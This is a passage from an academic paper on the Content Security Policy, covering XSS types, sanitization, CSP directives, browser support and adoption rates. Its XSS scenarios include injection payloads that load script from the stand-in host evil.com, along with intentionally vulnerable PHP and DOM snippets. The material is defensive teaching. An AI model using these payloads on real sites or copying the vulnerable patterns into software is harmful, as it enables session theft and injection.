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Abstract
Cross-site scripting attacks are a major threat to web applications. Such attacks are used to inject
undesirable content into web pages. The Content Security Policy is an approach to mitigate content
injection and secure websites. The security mechanism is added to the HTTP header and prohibits
the execution of inline scripts, whitelists resources and bans dangerous JavaScript functions. CSP
is a client side protection and is enforced by the browser. The real-world adoption of the Content
Security Policy is investigated due to the promising protection of CSP against cross-site scripting,
having an adoption rate of 2.5% for the one million most popular sites in 2018. Unfortunately, the
effort to make websites CSP compatible is high and results in a trade-off between security and
functionality. Additionally, the security of CSP against content injection cannot keep its promises.
In literature 94.72% of all investigated real-world policies are bypassed due to unsafe endpoints
in the whitelist and other vulnerabilities. Finally, these numbers require changes in the use and
concept of CSP.
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Kurzfassung
Cross-Site-Scripting Attacken sind eine große Bedrohung für Webapplikationen. Solche Angriffe
werden genutzt, um unerwünschte Inhalte in Webseiten einzuschleusen. Die Content Security Policy
ist ein Ansatz um die Auswirkung von Content Injection abzuschwächen und Website sicherer
zu machen. Der Sicherheitsmechanismus wird dem HTTP Header hinzugefügt und blockiert die
Ausführung von Inlineskripten, fügt Ressourcen einer Whitelist hinzu und verbietet gefährliche
JavaScript Funktionen. CSP ist ein Schutz auf Seite des Clients und wird vom Browser ausgeführt.
Die Adaptionsrate der Content Security Policy wird anhand echter Zahlen untersucht, da der Schutz
von CSP gegenüber Cross-Site-Scripting als vielversprechend gilt und bereits von 2.5% von den ein
Million meistbesuchtesten Websites in 2018 implementiert ist. Leider führt der hohe Aufwand eine
Website CSP kompatibel zu machen zu einem Kompromiss zwischen Sicherheit und Funktionalität.
Zusätzlich kann das Sicherheitsversprechen, das CSP als Schutz gegen Content Injection bietet,
nicht eingehalten werden. In der Fachliteratur werden 94.72% aller untersuchten Policies durch
unsichere Endpunkte in der Whitelist und andere Lücken ausgehebelt. Schlussendlich fordern
solche Zahlen Veränderungen in der Anwendung und im Konzept von CSP.
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1 Introduction
Web applications are an important part of today’s online business including shopping, email
services, banking and social networking. Almost every service is available on the internet and
attacks can be carried out from all over the world. The value of the data which is transferred between
client and service provider has a significant value to either party. The importance of online business
for individuals and the economy makes web applications a popular target for criminal activities by
hackers.
Building secure web applications is more important than ever but it is a difficult task to achieve.
Modern web applications are based on different frameworks, programming languages and protocols.
Also, the knowledge of developers about security topics is lacking [28].
Several papers and literature have been proposed to address the task of securing web applications.
For instance, a paper published by OWASP introduces a guideline to build secure web applications
[12]. Further work promises security with the help of automatic partitioning [7] and other techniques
or guidelines [14, 26, 36]. Another article takes advantage of access control approaches to secure
web applications [24]. But even with an high amount of recommendations it is difficult to secure a
individual software system.
An important concept for web security is the same-origin policy. But this mechanism is bypassed
using cross-site scripting. This kind of attack is a popular method to inject harmful content into web
applications. Since cross-site scripting attacks are still pervasive on the web, security mechanisms
against XSS are more and more important. Many researches have been published to protect [32, 42,
47] and mitigate [4, 25, 41] cross-site scripting attacks.
The Content Security Policy (CSP) addresses the certain problem. The protection of the security
mechanism CSP is based on whitelisting resources and reducing the possibility of code execution
on the client side. The real-world adoption of CSP is studied in two papers [5, 48]. By investigating
the policies of billions of websites, they propose a study which shows the effectiveness of CSP in the
real world. With the result of this work an exact analysis of this mechanism will be accomplished.
The functionality and use of Content Security Policy are explained in detail as well as bad practices
used in existing policies. Furthermore, attacks on CSP and security problems will be analyzed.
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1 Introduction
Outline
The remainder of this work is structured as follows. Chapter 2 describes the background including
existing security concepts against hacking attacks and an overview about cross-site scripting.
Chapter 3 explains the security mechanism Content Security Policy in detail. Chapter 4 contains
an analysis of the state of the art using studies by Calzavara et al. [5] and Wechselbaum et al.
[48]. Chapter 5 proposes several techniques to bypass existing policies using different approaches.
Chapter 6 gives an overview about possible improvements of the Content Security Policy. Chapter
7 summarizes the result of the analysis.
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2 Background
This chapter gives a more precise overview of the same-origin policy as well as a bypass for this
mechanism. Also, cross-site scripting as a major threat to modern web applications is proposed.
Input and output sanitization to prevent code injection are introduced as well.
2.1 Same-origin Policy
The same-origin policy is a security concept in web applications and was one of the first
security mechanisms which were implemented as incorporation in modern web browsers. An exact
specification is not documented but the concept dates back to Netscape Navigator in 1994 [2]. All
modern browsers implement a form of the same-origin policy.
The policy restricts scripts in a website to access data from another website. The only exception
is made when both websites have the same origin which is defined as a triple consisting of URI
scheme, host name and port number. Thus, it is possible to visit a malicious site without threatening
currently opened sessions. For example: Alice has an opened tab where she is logged in into
her banking account. While visiting an untrustworthy site, a script tries to access data from her
online banking tab. The same-origin policy blocks the attempt of the script and the banking session
remains safe.
Table 2.1 shows some URLs for checking against http://example.com/test/welcome.html
(standard port for HTTP is 80) by using the algorithm described in RFC 6454 [35].
URL Result Explanation
http://example.com/test/welcome2.html Success Same protocol, host and port
http://example.com/index/hello.html Success Same protocol, host and port
https://example.com/test/welcome.html Failure Different protocol
https://de.example.com/test/welcome.html Failure Different host
https://example.com:81/test/welcome.html Failure Different port
Table 2.1: Example for the functionality of the same-origin policy
The background for the presence of the same-origin policy as a standardized concept is due to
following reasons:
• The whole communication between the browser and the web server is accessed by the
Document Object Model. Scripts can read and manipulate data as well as send and receive
requests.
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• The security of the connection between the browser and web pages can be varying. Different
websites are not trusted the same.
This results in the requirement that no data or information can be accessed by another context
and is ensured by comparing the origin of the web pages. Basically the same origin-policy is a
common and useful security mechanism to protect data integrity. But web technologies nowadays
change frequently and the SOP has not kept up with that. It is well known that the same-origin
policy can be bypassed by content injection attacks like cross-site scripting [20].
2.2 Cross-site scripting attacks
Cross-site scripting describes a scenario where an attacker is able to inject client-side scripts
from an untrusted context into web pages where the code is classified as trusted. Such attacks are
used to bypass access controls as the same-origin policy. Known vulnerabilities on the attacked
system like the web application or server are utilized. By exploiting one of these security holes, the
attacker can insert arbitrary content into the page. Depending on the type of XSS, the attacker’s
code is reflected or stored permanently.
By injecting malicious scripts into web pages, the attacker can steal cookies, tokens and gain
access to sensitive page content. If a website has special privileges the attacker can - depending on
the scripting language - execute tasks which the local user is allowed to. In some older operating
systems the local user has administrator privileges so the impact of the attack is even more serious.
In a report from 2017, the bug bounty company hackerOne claims that XSS attacks are still a
major threat to every web application [43]. Also prominent sites like Twitter [31] or Facebook [30]
have been victims of cross-site scripting. Figure 2.1 shows that XSS attacks are very common in
comparison to other attacks. The presented data lists all published attacks gathered by CVE, a
security vulnerability database [46].
Figure 2.1: Number of attacks by type [46]
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2.2.1 Reflected
Reflected or non-persistent cross-site scripting is the most basic type of content injection. This
attack occurs when the data provided by a web client, mostly through HTTP query parameters are
used without proper sanitization or other input validation. The server-side script parses, processes
and returns a page to the user within the risk of being exploited. This type of attack is called
non-persistent because the malicious code is only available during the generation of the dynamic
website and is not saved at any time [16].
The following example describes a scenario of a non-persistent XSS attack where Alice is a
regular user, Bob the host of an online shop and Mallory an evil attacker:
1. Bob hosts a website often visited by Alice. When Alice logs in with an username and
password, the data is stored in a database. During the log in a cookie (to remember Alice is
still logged in) is created and stored on both sides.
2. If the search function returns no results, the search term followed by the text not found is
displayed. The corresponding URL is http://example.com?q=search_term.
3. Mallory submits <script>alert(’XSS’);</script> as search query. As a result an alert box
appears showing XSS and the page displays "<script>alert(’XSS’);</script> not found".
The exploitable bug can be used to insert malicious links or code by using the search query.
4. Mallory sends the URL http://example.com?q=cats<script%20src="http:
//evil.com/evil.js"></script> per mail to Alice. Optionally, the URL is encoded to make
it harder for human readers to decipher the link.
5. Alice opens the link, expecting to see some cats and the malicious code from evil.com
executes in the background while Alice receives the message cats not found. Meanwhile
Alice user data is stolen (possibly by stealing the cookie) from Bob’s site and transferred to a
server under Mallory’s control.
2.2.2 Persistent
Persistent or stored cross-site scripting is almost the same as reflected XSS. The main difference
is that the malicious code is saved on the webserver and returned every time a request is received.
After the browser renders the page, the script executes. Persistent XSS attacks might be more
serious than reflected ones because the attacker’s script is generated every time the infected page or
function is accessed. Especially on social networking sites, the created attack can result in a type of
client-side worm if designed to spread through different accounts [16].
The following example describes a scenario of a persistent XSS attack. In the following scenario
where Alice is a regular user while Bob is the host of an online forum and Mallory an evil attacker:
1. Mallory creates an account on Bob’s website. A cookie to store login sessions is created for
every user.
2. Mallory posts a new comment and notices that every user input is displayed without
sanitization.
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3. After reading several posts, Mallory writes the following text in the comment section: "Great
success my friend!<script src=“http://evil.com/evil.js“>"
4. When Alice or another user loads the specific page, the script executes and the malicious code
runs in the background. Meanwhile Alice user data is stolen from Bob’s site and transferred
to a server under Mallory’s control.
2.2.3 DOM-based
DOM-based or local cross-site scripting does not include the web application on the server
compared to the other attacks. Dynamically generated websites but also static HTML pages are
a mainly target for such attacks. The malicious code is directly parsed to a client-side script and
reflected by the JavaScript Code [29].
The following example describes a scenario of a DOM-based XSS attack where Alice is a regular
user and Mallory an evil attacker:
1. Alice registrates an account on a website where the user has to choose his preferred language.
The language is passed by the parameter default. Listing 2.1 contains the code of the called
page.
2. To invoke the function of the page a URL like http://example.com?default=English is called.
3. Mallory sends the following URL to Alice:
http://example.com?default=<script src="http://evil.com/evil.js">
4. Alice clicks on the link and the server sends the code as a response. The browser creates a
DOM object for the page and renders the web site which results in the execution of evil.js.
The response from the server does not contain the attacker’s payload, instead it is manifested
at the client-side.
1 <script>
2 var index = document.URL.indexOf("default=")+8;
3 var length = document.URL.length;
4 document.write(document.URL.substring(index, length));
5 </script>
Listing 2.1: Code of http://example.com
2.2.4 Other types
Besides the proposed XSS vectors, new classes of cross-site scripting attacks are pervasive. Such
attacks are a security risk for existing security techniques due to the use of HTML and DOM
operations to manipulate data.
Scriptless attacks: Heiderich et al. [21] propose a new attack vector without relying on the
execution of JavaScript or any other language. These attacks are based on standard browser features
and make use of CSS in combination with other techniques like HTML, SVG images or font files.
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Post XSS: The post XSS attack is a vulnerability that is exploited by sending the input from
a form to the targeted website via POST method. The user fills out the form and submits it. The
POST request forwards the user to the evil site and the content of the request contains defective
JavaScript code [53].
2.3 Input and Output Sanitization
The Content Security Policy "(...) reduces the harm that a malicious injection can cause, but it is
not a replacement for careful input validation and output encoding"[10]. This statement clarifies
that a web application using CSP does not replace proper input and output validation. Instead
the Content Security Policy should be used as an additional protection layer when prior security
mechanisms failed.
In general, user input should never be trusted. Thus a validation of the input is mandatory. The
following HTML page displays a user inserted string.
1 <html>
2 <body>
3 <h1>You searched for <?php echo $_GET['search_string'];?> </h1>
4 </body>
5 </html>
Listing 2.2: HTML page
The variable search_string is neither checked nor sanitized. Malicious PHP code executes
without limitations. Such security vulnerabilities are avoidable due to filtering functions provided
by frameworks or the used programming language.
For instance PHP provides a method called htmlspecialchars to convert special HTML characters.
Using functions like htmlspecialchars are not a guarantee to prevent XSS attacks but a well
implemented input sanitization can prevent content injection attacks. A guide to bypass input
validation in web applications is proposed by OWASP [52] but can also be used to improve the
filtering functions for input data.
Output sanitization is how a an application handles outgoing data. This includes passing data
between application architectures and users via web services or sockets. Improper outputs are
caused by protocol errors, data related errors and application errors. Two major approaches are
white- and blacklisting characters and symbols, especially HTML characters. Blacklisting is only
a defense against known vulnerabilities while whitelisting is often more difficult to implement.
The use of regex to filter tags or terms is a controversial solution due to the complexity of such
statements [4].
Web application frameworks have filtering methods to sanitize input and output data. Depending
on the complexity of a web site, these methods may not be sufficiently safe. Implementing a
well-working input and output validation is a difficult task to achieve. The Content Security Policy
helps to tackle this problem by restricting the execution of code to specific resources. Even if an
attacker is able to bypass input validation the script has no permission to execute - if the policy is
designed accordingly.
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3 Content Security Policy
The Content Security Policy is a web security mechanism standardized by W3C to detect and
mitigate content injection attacks like cross-site scripting. CSP restricts the functionality on a
website by defining which resources are loaded by the client browser. CSP prohibits the execution
of inline scripts by default, whitelists script sources and bans functions like eval() in order to
reduce possibilities to execute injected code on the client side [40].
3.1 General
A policy is specified in the HTTP response header or in meta elements inside a HTML page.
The server delivers the requested page including the policy which is enforced by the browser of the
client. CSP uses so-called directives and source lists which work like key value pairs to restrict the
access to resources. Figure 3.1 shows an example of a Content Security Policy delivered in the
response header. The requested site is https://github.com via the Mozilla Firefox browser.
Figure 3.1: Content Security Policy in the GitHub response header
Figure 3.1 shows the header Content-Security-Policy before the first directive default-src
which is followed by an expression defined either between single quote marks or is an URL. These
values are called source list and specify a resource or keywords defining the usage of the directive.
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The source list appending to a directive is ended by a semicolon. Listing 3.1 shows an example of a
policy delivered in a response header and inside a meta element which restricts loading of scripts to
the origin of the document and the host http://example.com.
1 // header element
2 content-security-policy: script-src 'self' http://example.com;
3
4 // meta element
5 <meta http-equiv="content-security-policy"
6 content="script-src 'self' http://example.com">
Listing 3.1: CSP in response header and meta element
Figure 3.2 demonstrates the functionality of CSP applying the policy defined in Listing 3.1. The
scripts on the left side try to execute or load content from different websites. Number 1 and 2
pass the policy because the script sources are restricted to the own origin (myexamplehost.com) and
example.com. The script in number 3 tries to access the malicious site evil.com and is blocked by
CSP because the source list of script-src does not contain evil.com. One base restriction of CSP
is the blocking of inline scripts and therefore number 4 is blocked from execution.
Figure 3.2: Visualization of the functionality of CSP
CSP is not meant to be the only protection against content injection but as a defense-in-depth
mechanism. The Content Security Policy is an extra layer of security against various attacks. By
appending a CSP to the response header, no extra functionality is added so the security can not be
deteriorated. A well-defined policy reduces the privileges of the applications to a minimum to work
correctly. To benefit from the full spectrum of functionalities, the latest CSP standard has to be
implemented in the browser.
3.1.1 Threat model of CSP
The Content Security Policy offers features to secure web applications against cross-site scripting
but also other attack vectors. The security mechanism mitigates not only the risk of content injection
but also clickjacking and mixed content [3].
• Content injection: CSP is mostly used to restrict loading of different content types like
scripts, stylesheets or images using directives. The browser is not able to distinguish between
legitimate scripts and scripts injected by an attacker. CSP is based on whitelisting trusted
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scripts to ensure that evil code can not execute. Non whitelisted resources are blocked to
prevent content injection. Even if an attacker is able to inject code the execution can be
blocked, depending on the defined policy.
• Clickjacking: A technique to trick users taking unwanted actions by laying hidden frames
over the regular content in an affected application is called clickjacking [18]. The user is
tricked to click on a link or button which often looks harmless. A hidden frame is positioned
over the visible layer. The hidden frame can contain source code to perform an unwanted
action. In attempting to click the harmless button the user actually clicks the button of the
hidden frame - the user action got ’hijacked’.
CSP offers protection against clickjacking with the directive frame-ancestors. It defines
which origins are allowed to frame a document. The directive indicates if the browser is
allowed to embed resources in environments like iframes or applets.
• Mixed content: Mixing HTTP and HTTPS content is called mixed content. By loading
initial HTML over a HTTPS connection but loading other resources via HTTP the risk of
sniffing and man-in-the-middle attacks is increased [6].
The directive upgrade-insecure-request enforces the browser to load content only via HTTPS
and block-all-mixed-content prevents loading any content over HTTP when the initial
HTML was loaded via HTTPS [40]. Mixed content is already blocked in modern browsers
so the use of this directive is deprecated for most cases.
3.1.2 Base Restrictions
The Content Security Policy is based on whitelisting resources. But origin-based whitelisting
does not solve the problem of inline script injection through cross-site scripting attacks. By allowing
inline scripts to execute, the browser has no possibility to identify legitimate scripts and content
injected by an attacker. Therefore, the Content Security Policy blocks inline scripts in general.
The base restrictions blocking inline scripts and evaluating strings to code are active by default
but can be re-enabled using the source expression ’unsafe-inline’. Allowing the execution of
inline scripts reduces the protection against content injection and is basically whitelisting XSS [3].
Every code, inline event handler or string to code function inside an HTML document is blocked
from execution and has to be refactored to maintain functionality [40]:
Inline JavaScript. Content inside <script> tags and inline CSS is blocked from execution. Code
should be refactored to external JavaScript and CSS files which are referenced inside the HTML
document. It is also best practice to avoid inline scripts due to better caching for browsers and being
more understandable for developers [38]. Using inline scripts and styles are reactivated by using
the following expressions: script-src: ’unsafe-inline’; style-src: ’unsafe-inline’. The
impact of inline elements on security is discussed in section 5.3.
Inline Event Handler. Event handler inside HTML tags are blocked from execution. Instead,
a reference to the function by adding an event listener to the specific element has to be set. The
following example shows a function which is called when the demo button is clicked.
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Code of the form
1 <!-- example.html -->
2 <script>
3 function demoAlert() {
4 alert("Inline JS Code!");
5 }
6 </script>
7 <button onclick="demoAlert()">Click me!</button>
Listing 3.2: Example code before refactoring
can be refactored this way:
1 <!-- example.html -->
2 <script src="demo.js"></script>
3 <button id="demoButton">Click me!</button>
1 // example.js
2 function demoAlert() {
3 alert("External JS Code!");
4 }
5 document.addEventListener("DOMContentReady", function () {
6 document.getElementById("demoButton")
7 .addEventListener("click", demoAlert);
8 });
Listing 3.3: Example files after refactoring
String to Code. Another base restriction is the prohibition of strings evaluated into code. The
passed string executes with the privileges of the caller. The argument of such functions can contain
malicious code while being loaded from untrusted sources. Therefore affected functions like eval(),
setInterval(), setTimeout() or the Function constructor are blocked. The function eval() must
be avoided if possible. An alternative to the usage of eval() is parsing via the JSON library. The
following example shows how to avoid passing strings as an parameter.
Instead of passing a string as an argument
1 window.setTimeout('alert('String as parameter!');', 5000);
Listing 3.4: Example code before refactoring
the parameter should be passed as a reference on the callback:
1 window.setTimeout(function() {
2 alert('foo');
3 }, 5000);
Listing 3.5: Example code after refactoring
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A policy consists of multiple directives to restrict loading resources using whitelists. Every
content type inside a directive appends a list of sources to allow loading and including these
resources in the web application. Non whitelisted resources are blocked by CSP. The definition
of a Content Security Policy always starts with the name itself to inform the browser to apply the
delivered policy. A directive like script-src https://example.com enforces that scripts only from
https://example.com are allowed and also the communication has to be established via the HTTPS
protocol, scripts loaded via HTTP will be denied. Each policy is enforced for a single web page. A
web application with multiple pages can specify different policies.
The proposed directives are documented in the Content Security Policy reference [11] as well as
in the W3C specification [10]. Listing 3.6 shows a policy which permits loading scripts only from
example.com. Applying object-src with the keyword ’none’ results in prohibition of embedding
any plugin.
1 content-security-policy: script-src https://example.com;
2 object-src 'none';
Listing 3.6: Example of a simple policy
Listing 3.7 shows an example of a stricter policy. The keyword ’none’ permits loading of any
kind of resource. By applying it to the directive default-src it is enforced for every content
type ending with -src. The use of script-src with the source expression ’self’ overwrites
default-src and permits to load scripts only from the origin of the document. The directive
img-src: https://example.com permits the inclusion of images only from example.com via
HTTPS.
1 content-security-policy: default-src 'none';
2 script-src 'self'; img-src https://example.com;
Listing 3.7: Example of a stricter policy
Table 3.1 shows selected directives available in CSP.
Directive Restricted Type Description
default-src All resources Applies to every content type available in the CSP
specification ending with -src.
script-src Scripts Defines allowed sources of scripts.
style-src Stylesheets Defines allowed sources of stylesheets.
img-src Images Defines allowed sources of images.
font-src Fonts Defines allowed sources of fonts.
object-src Plugins Defines allowed sources of plugins like <object>,
<embed> or <applet>.
media-src Media files Defines allowed sources of media (audio, video).
Table 3.1: CSP directives and descriptions
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child-src Defines allowed sources for workers and embedded frame content.
frame-ancestors This directive defines the sources which are allowed to be rendered inside a
document. The browser permits rendering content in embedded resources like <frame>, <iframe>,
<object>, <embed> or <applet>. If the value of frame-ancestors is ’none’, the result is equivalent to
include X-Frame-Options: DENY in the HTTP header which prevents any domain from framing the
content in embedded resources.
form-action Defines the endpoints to submit <form> tags.
plugin-types Defines allowed sources for plugins like object and embed by MIME types.
block-all-mixed-content This directive prevents loading any content over HTTP when the initial
HTML was loaded via HTTPS.
upgrade-insecure-request This directive enforces the browser to load content only via HTTPS.
Any content loaded via HTTP is rejected.
connect-src This directive applies to XMLHttpRequest (AJAX), WebSocket or EventSource. If the
request is not allowed a 400 HTTP status code is returned.
sandbox The use of a sandbox is enabled. The directive is similar to the iframe sandbox attribute.
Restrictions like preventing popups, plugins and script execution are applied. Several attributes are
available to refine the sandbox.
worker-src This directive whitelists Worker, SharedWorker and ServiceWorker scripts. worker-src
replaces the deprecated alternative child-src which is still used due to the insufficient support of
worker-src in most browsers [10].
3.3 Source lists and expressions
The use of source lists to whitelist resources is the basis of CSP. By allowing only specific
resources to be included, CSP aims to mitigate content injection. Loading content from a URL is
only permitted if the URL matches any of the source expressions defined for the specific content
type. Keywords like ’unsafe-eval’ are an exception to the functionality of CSP due to the removal
of security relevant protection. The usage of such keywords is not recommended [10]. If a directive
is not specified, every source is allowed, except default-src is present.
Table 3.2 shows selected source lists and expressions available in CSP.
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Source Value Description
* The general wildcard allows any URL except data: blob: or
filesystem: schemes.
’none’ Denies loading of any resources.
’self’ Permits loading resources from the same origin (defined as triple
consisting of scheme, host and port).
data: Permits loading resources via data scheme.
http(s): Permits loading any resource via HTTP(S).
example.com Permits loading resources from a specific website. In this case from
example.com.
*.example.com Permits loading resources from all subdomains of example.com and
example.com itself.
https://example.com Permits loading resources from a specific HTTPS website. In this
case from https://example.com.
’unsafe-inline’ Permits use of inline elements for JavaScript and CSS.
’unsafe-eval’ Permits use of JavaScript functions like eval() or setTimeout().
’nonce-$RANDOM’ Permits inline scripts or styles to execute if the nonce value matches
the value in the header.
’shaXXX-$RANDOM’ Permits scripts or styles to execute if the hash matches the hashed
expression.
Table 3.2: CSP source lists and expressions
3.4 Enforcing and Reporting Mode
The Content Security Policy has two different modes: Enforcement mode and report-only mode.
The policies defined in listing 3.6 and 3.7 execute in enforcement mode. The specified restrictions
are enforced and violations are displayed on the JavaScript Console. In report-only mode, the
specified policy permits loading any resource but sends the violation via POST method to a defined
URI specified in report-uri. This directive can also be used in enforcement-mode, so the policy is
enforced and violations are reported to the defined URI. To activate report-only mode, the HTTP
header has to change from content-security-policy to content-security-policy-report-only.
The directive report-uri specifies a URI where a JSON object with details about the violation
is sent to via POST method. Listing 3.8 shows an example of a policy in report-only mode. The
injection of an attacker’s script triggers a violation because the origin of the attacker’s script does
not match the source list of script-src which is restricted ’self’. The code can execute but a
report containing details about the violation is sent to https://report.example.com.
1 content-security-policy-report-only: script-src 'self';
2 report-uri http://example.com;
Listing 3.8: Example of a report-only policy
In an example, the attacker tries to inject some JavaScript code by writing a comment in a forum.
The web application uses no security mechanisms except CSP with the policy in listing 3.8. The
value of ’self’ is evaluated to the origin of the document, in this case localhost:8080. After
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clicking the send button, the comment is written to the database without sanitization. Every time
the page is requested the code executes in the client browser which is called a persistent XSS attack.
Due to the definition of the directive script-src with the source expression ’self’, CSP blocks the
execution of the script. Figure 3.3 shows the comment which is injected into the database of the
forum and the error message triggered by CSP when the corresponding web page is loaded.
Figure 3.3: Policy violation example
This violation triggers the directive report-uri. The created JSON object is reported to the URI
specified in report-uri via POST method, see figure 3.4. The report includes information like the
violated directive, blocked URI and a sample of the script which caused the violation.
Figure 3.4: JSON object report example
The report function has several use cases. For testing purposes, it can be useful to run CSP
in report-only mode to detect if users violate the policy when surfing the website. It is also
possible to check if the specified policy blocks any function of the web application. A policy should
always contain a report-uri directive to be aware of violations caused by blocked functionalities or
exploitations.
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3.5 Further Development of CSP
The Content Security Policy standard has changed since the first introduction in 2012 [9]. CSP
level 2 was published in 2015, followed by Level 3 in 2016. An important improvement was the
introduction of nonces and hashes in version 1.1 and the directive strict-dynamic in version 3 [3]
to secure the use of inline scripts.
3.5.1 Nonces and Hashes
The source expressions ’unsafe-inline’ or ’unsafe-eval’ allow the execution of inline scripts
but the use of such keywords removes any protection against XSS. The use is not recommended,
however, developers have problems to remove inline scripts to external sources [49]. Especially in
complex web applications, refactoring is a complex and difficult task. Therefore most developers
make use of a long whitelist for the directive script-src but also include ’unsafe-inline’ which
leads to a XSS vulnerable policy [5]. More detailed consequences and effects on security are
discussed in section 5.3.
Two new directives were introduced in CSP Version 1.1: Nonces and Hashes. The use of these
keywords permits to whitelist individual inline scripts while all other scripts are prohibited from
execution. These keywords are applied to the directive script-src.
Nonces: The policy generates a one-time value which acts as an authorization token for an inline
script. Each time a HTTP header including a policy is sent, a new nonce should be generated which
is unguessable for an attacker. The randomized string has to be sufficiently long and must not be
reused. The inline script can execute if the nonce of the script itself matches the nonce defined in
the policy.
1 content-security-policy: script-src 'nonce=FAW8eL4..';
Listing 3.9: Example of a nonce-based policy
The directive script-src: ’nonce-FAW8eL4..’ only permits scripts with the following form to
execute:
1 <script nonce="FAW8eL4..">
2 // any code
3 </script>
Listing 3.10: Example of a nonce-based script
Hashes: The browser hashes the inline script and compares it to the hash value in the policy.
The cryptographic hash functions SHA-256, SHA-384 and SHA-512 can be used. The inline script
executes if the hash value of the script itself matches the hash value defined in the policy.
1 content-security-policy: script-src 'sha512-w3y0PCctBS0ReEK3..';
Listing 3.11: Example of a hash-based policy
The directive script-src: ’sha512-w3y0PCctBS0ReEK3..’ permits scripts which generate the
same hash value as w3y0PCctBS0ReEK3.. to execute.
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3.5.2 Source expression ’strict-dynamic’
The keyword ’strict-dynamic’ applies to the directive script-src and is part of the CSP 3
specification. Only whitelisted scripts using a valid nonce are allowed to execute. Dynamically
added scripts, outgoing of the nonced root source, can execute if they are created using functions
like document.createElement() even not being specified in the whitelist of script-src. The reason
is that scripts called by createElement() are explicitly chosen by the developer to execute and
are therefore classified as trusted. Any other whitelist entry in script-src is ignored unless the
script tag includes a valid nonce. Listing 3.12 shows an example of a policy using nonces and
’strict-dynamic’. Any script from example.com executes if a nonce is specified as well while all
other scripts are blocked.
1 content-security-policy: script-src 'strict-dynamic'
2 'nonce=FAW8eL4..' http://example.com;
Listing 3.12: Example of a policy using ’strict-dynamic’
By defining such a policy, inline scripts has to be accompanied with a nonce and only these
scripts and their descendants are allowed to execute. This functionality is important due to the
common use of JavaScript libraries like JQuery 1, ReactJS 2 or AngularJS 3. Including these scripts
is possible when specified with a nonce, but if such libraries depend on other libraries which are
loaded or include script tags, the functionality is impaired. Using ’strict-dynamic’ solves this
problem by inheriting the nonce of a trusted script to all descendants of itself.
The keyword ’strict-dynamic’ is backward compatible with every CSP standard. CSP Level 1
ignores the expression and inline scripts can execute without a nonce. CSP Level 2 demands the
use of nonces and blocks inline scripts but still allows the https: scheme. Inline scripts and URI
schemes are blocked in CSP Level 3 when specifying ’strict-dynamic’.
1https://jquery.com/
2https://reactjs.org/
3https://angularjs.org/
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The Content Security Policy has changed and improved since the first release of version 1.0 in
2012. A research in 2014 shows the rather limited deployment rate of CSP [51]. Two websites
listed at Alexa Top 100 [45] used a CSP in their response header. For Alexa Top 1M [45], only
851 web pages deployed a Content Security Policy while the use of security-related headers like
XSS-Protection or P3P was present in 45,753 and 86,987 websites.
The following chapter gives an overview of the CSP adoption of websites in the real world. The
focus lies on two papers [5, 48] which propose a more accurate insight about the use of Content
Security Policy. Differences in browser support, an analysis of the headers and errors in policies are
proposed.
4.1 Browser Support
The Content Security Policy is enforced by the browser and therefore the CSP specification
[10] has to be implemented as well. All modern web browsers support CSP but distinguish in
the support of different versions and directives. Table 4.1 shows the support of CSP and some
selected directives by various browsers. A full list is available on the Mozilla Developers page [8].
Directives introduced in CSP version 1 like default-src or script-src are present in every modern
browsers. Keywords like ’strict-dynamic’, proposed in the upcoming CSP 3 standard are not
supported by all browsers.
The correct implementation of CSP in several browsers was investigated by Calzavara et al. [5]
and the results are proposed in the following section. The tested desktop browsers, as well as the
mobile variants, were Mozilla Firefox, Chromium, Opera, Safari and Microsoft Edge.
Directive Chrome Edge Firefox Opera Safari
Content-Security-Policy (header) 25 14 23 15 7
default-src 25 14 23 15 7
script-src 25 14 23 15 7
object-src 25 14 23 15 7
frame-ancestors 40 15 33 26 10
strict-dynamic 52 X 52 39 X
Table 4.1: Browser support of CSP
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4.1.1 Passed Tests
The following test cases examined by Calzavara et al. [5] passed successfully:
1. Use of multiple directives: It is possible to include more than one kind of the same directive
inside a HTTP header. For example, the directive script-src is applied multiple times to a
policy. The correct behavior is to apply the first directive and ignore the others.
2. Default scheme assignment: By using an URL as source expression it is not required
to specify a scheme, for instance, script-src example.com. The scheme is assigned
depending on the origin of the document where the policy is deployed. A HTTPS website
results in https://example.com and a HTTP website results in http://example.com or
https://example.com.
3. Wildcards: In CSP Level 1 the wildcard matches any URL. In CSP Level 2 every URL except
including the scheme blob, data or filesystem matches. The use of the general wildcard * is
not recommended [3].
4.1.2 Failed Tests
The following test cases examined by Calzavara et al. [5] revealed some browsers were not
compliant to the CSP specification:
1. Enforcing multiple policies: A web page can apply multiple Content Security Policies.
This case occurs when multiple headers with individual policies are specified, for example
if security gateways and application firewalls apply a own policy. The single policies are
merged and the created policy is enforced by the browser. For example, if the first header
contains the directive script-src a.com b.com and the second header contains script-src
b.com c.com while the page should only allow scripts from b.com to execute.
All browsers passed the test except Microsoft Edge. The algorithm used by the browser
applies only the first directive and ignores the others. In the example mentioned above scripts
from a.com and b.com can execute which results in a weaker policy.
2. Blocking inline elements: The following behavior occurred in every tested browser. Two
different policies are specified:
1 img-src example.com;
2 img-src example.com; default-src *;
Both policies should allow the execution of inline scripts. Instead the first policy permits
inline scripts while the second one prohibits the execution which is a confusing behavior.
Indeed the security vulnerability is not dangerous. Both policies allow inline script execution
so the browsers restrict the second policy more than originally intended.
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3. Scheme Relaxation: The source expression ’self’ permits loading resources from the same
origin. The directive script-src ’self’ enforced at http://example.com should only allow
scripts from example.com via HTTP to execute.
Firefox and Chromium are more liberal when interpreting ’self’. When receiving the
directive specified above, the scripts are downloaded via HTTP and also HTTPS. This
behavior is recommended in CSP Level 3 [3].
The failed tests show that browser implementations are not always compliant with the standard.
Differences between implementation and W3C specification can result in security vulnerabilities.
4.2 Current State on the Web
A study performed in March 2016 investigated the deployment and change of Content Security
Policies in the web [5]. The website adoption and analysis of the CSP headers are proposed in detail.
Another study performed in 2016 gives insight into the deployment of CSP and problems which
developers have by applying a well-working policy to their website [48].
4.2.1 Website adoption
In March 2014 only 851 of the Alexa Top 1M sites used CSP in their header which corresponds
to 0.085% [51]. This result was not expected by the security community. A study performed in
March 2016 collected HTTP headers of the Alexa Top 1M websites and extracted - if available -
the CSP [5]. Another crawl of the Alexa Top 1M was made by Scott Helme in August 2017 and
February 2018 [22]. The increasing use of CSP since 2014 is a positive trend. Table 4.2 shows the
CSP adoption rate of the crawled Alexa Top 1M websites which responded with a header containing
a Content Security Policy.
March 2014 March 2016 August 2017 February 2018
# CSP websites 851 8,133 17,638 23,670
% of 106 websites 0.085 0.813 1.764 2.367
Table 4.2: CSP adoption rate in the last years
Comparing the result to the adoption rate from 2014 to 2016 the popularity of CSP increased
approximately by the factor ten, from 0.086% to 0.813%. The use of CSP in 2018 is approximately
